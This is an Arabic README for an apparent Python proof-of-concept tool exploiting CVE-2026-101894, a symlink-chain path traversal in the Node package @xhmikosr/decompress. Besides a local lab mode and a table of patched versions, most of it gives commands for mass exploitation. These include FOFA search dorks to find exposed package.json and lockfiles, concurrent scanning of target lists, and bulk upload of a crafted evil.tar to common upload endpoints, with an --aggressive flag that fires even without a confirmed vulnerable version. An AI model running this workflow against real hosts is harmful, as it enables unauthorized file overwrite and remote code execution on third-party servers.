
Python PoC لـ CVE-2026-101894: اجتياز المسار عبر سلسلة الروابط الرمزية في @xhmikosr/decompress. يتضمن مختبر Node محلي، وفحص إصدار lockfile، واستغلال رفع evil.tar الجماعي.
إثبات مفهوم بلغة Python 3 لـ CVE-2026-101894 — استخراج الأرشيف في Node.js عبر @xhmikosr/decompress (و decompress غير المدعوم) يسمح بالقراءة/الكتابة خارج دليل الإخراج عبر سلسلة من مدخلات الروابط الرمزية. تجاوز لتقوية CVE-2026-53486. CVSS 3.1 9.1 حرج.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| الفهرس | https://pocbit.org/pocs/ |
| الحزمة | @xhmikosr/decompress (مدعومة)، decompress (kevva، غير مُرقّعة) |
| API | الافتراضي decompress(input, output) |
| CWE | CWE-22 اجتياز المسار، CWE-59 اتباع الروابط |
| مُصلَح في | 10.2.2 (10.x)، 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress، عند فك أرشيفات tar/zip وما إلى ذلك إلى المجلد الهدف، يطبّق فحوصات مسار معجمية؛ لكن مع مدخلات روابط رمزية متتالية، يمكن للنواة أن تحلّ المدخلات اللاحقة خارج دليل الإخراج. بأرشيف يتحكم به المهاجم يمكنه الكتابة فوق / قراءة config أو startup script أو ملفات حساسة → سيناريو RCE (CI، حاويات، خدمات الرفع+الاستخراج).
الترقيع لـ @xhmikosr/decompress: 10.2.2 و 11.1.4. الحزمة القديمة decompress حتى الإصدار 4.2.1 من نفس الفئة ولا تتلقى ترقيعاً — انتقل إلى @xhmikosr/[email protected]+.
| الوضع | الغرض |
|---|---|
--lab | يثبّت 11.1.3 داخل lab/، ويتحقق من الكتابة خارجياً عبر سلسلة الروابط الرمزية في evil.tar |
--write-evil-tar | يكتب أرشيف الحمولة إلى القرص (علامة POCBIT-101894-ESCAPED) |
check | على الهدف البعيد، package.json / lockfile → هل الإصدار ≤ الخطِر؟ |
exploit | POST عبر سلسلة الروابط الرمزية evil.tar إلى مسارات الرفع الشائعة (كتلي) |
| mass | --list + -j؛ hits.txt / exploited.txt |
الاستغلال البعيد لا يثبت أن الخادم يفكّ الأرشيف فعلاً عبر decompress؛ قبول الرفع 2xx + بصمة إصدار ضعيفة يُعتبران exploited. للإثبات القاطع استخدم --lab.
hits.txt مقابل exploited.txt (حالة شائعة)| المرحلة | ما الذي تثبته |
|---|---|
| check → hits.txt | /package.json أو /package-lock.json مكشوف ويحتوي على decompress ضعيف |
| exploit → exploited.txt | واحدة على الأقل من عناوين URL العامة للرفع التي جرّبها إثبات المفهوم أعادت HTTP 2xx |
في قائمة FOFA الخاصة بـ Express، 500 فحص → 2 إصابة أمر طبيعي. 2 إصابة + 0 استغلال (vulnerable_dep_no_upload_endpoint) طبيعي أيضاً: تسرّب التبعية ≠ رفع أرشيف متاح للعموم. تتطلب هذه الثغرة الاستغلال أن يقوم التطبيق بفكّ أرشيف غير موثوق عبر decompress()؛ في مواقع HID / :8088 العشوائية، غالباً لا توجد المسارات الافتراضية الثمانية إلى الأحد عشر لإثبات المفهوم.
# إثبات السلسلة (محلي)
python poc.py --lab
# الإصابات: التبعية فقط + محاولة الرفع
python poc.py --list hits.txt --mode exploit -j 2
# المتوقع: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| الحزمة | المتأثرة | المُرقّعة |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | لا يوجد — انتقل |
cd CVE-2026-101894
pip install -r requirements.txt
المختبر: Node.js + npm على PATH (يُفضّل Linux/macOS لسلوك استخراج الروابط الرمزية).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| العلم | المعنى |
|---|---|
--lab | إثبات استخراج Node محلي |
--aggressive | الاستغلال حتى بدون lockfile ضعيف مكشوف |
--upload-paths | مسارات POST مخصصة مفصولة بفواصل |
--exploited-list | الأهداف التي أعاد رفعها 2xx |
سلسلة الروابط الرمزية (مبسّطة):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt مع حمولة العلامةيطابق فئة تجاوز سلسلة الروابط الرمزية الموصوفة في ملاحظات إصدار 11.1.4 (إصلاح realpath / الاحتواء).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
قائمة dork الخاصة بـ FOFA للرفع/zip (fofa_results_1000) أنسب لسطح الاستغلال من قائمة Express-only المكوّنة من 500؛ ومع ذلك الإصابة = lockfile + decompress ضعيف، والاستغلال = رفع 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(نادراً ما يكون lockfile عاماً في الإنتاج؛ غالباً ما يجد الفحص بيئات staging، ومخرجات CI، واستضافة ثابتة مُهيّأة خطأً.)
اختبر فقط الأنظمة المصرّح لك بتقييمها. لا ترفع أرشيفات ضارة إلى خدمات إنتاج تابعة لجهات خارجية.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894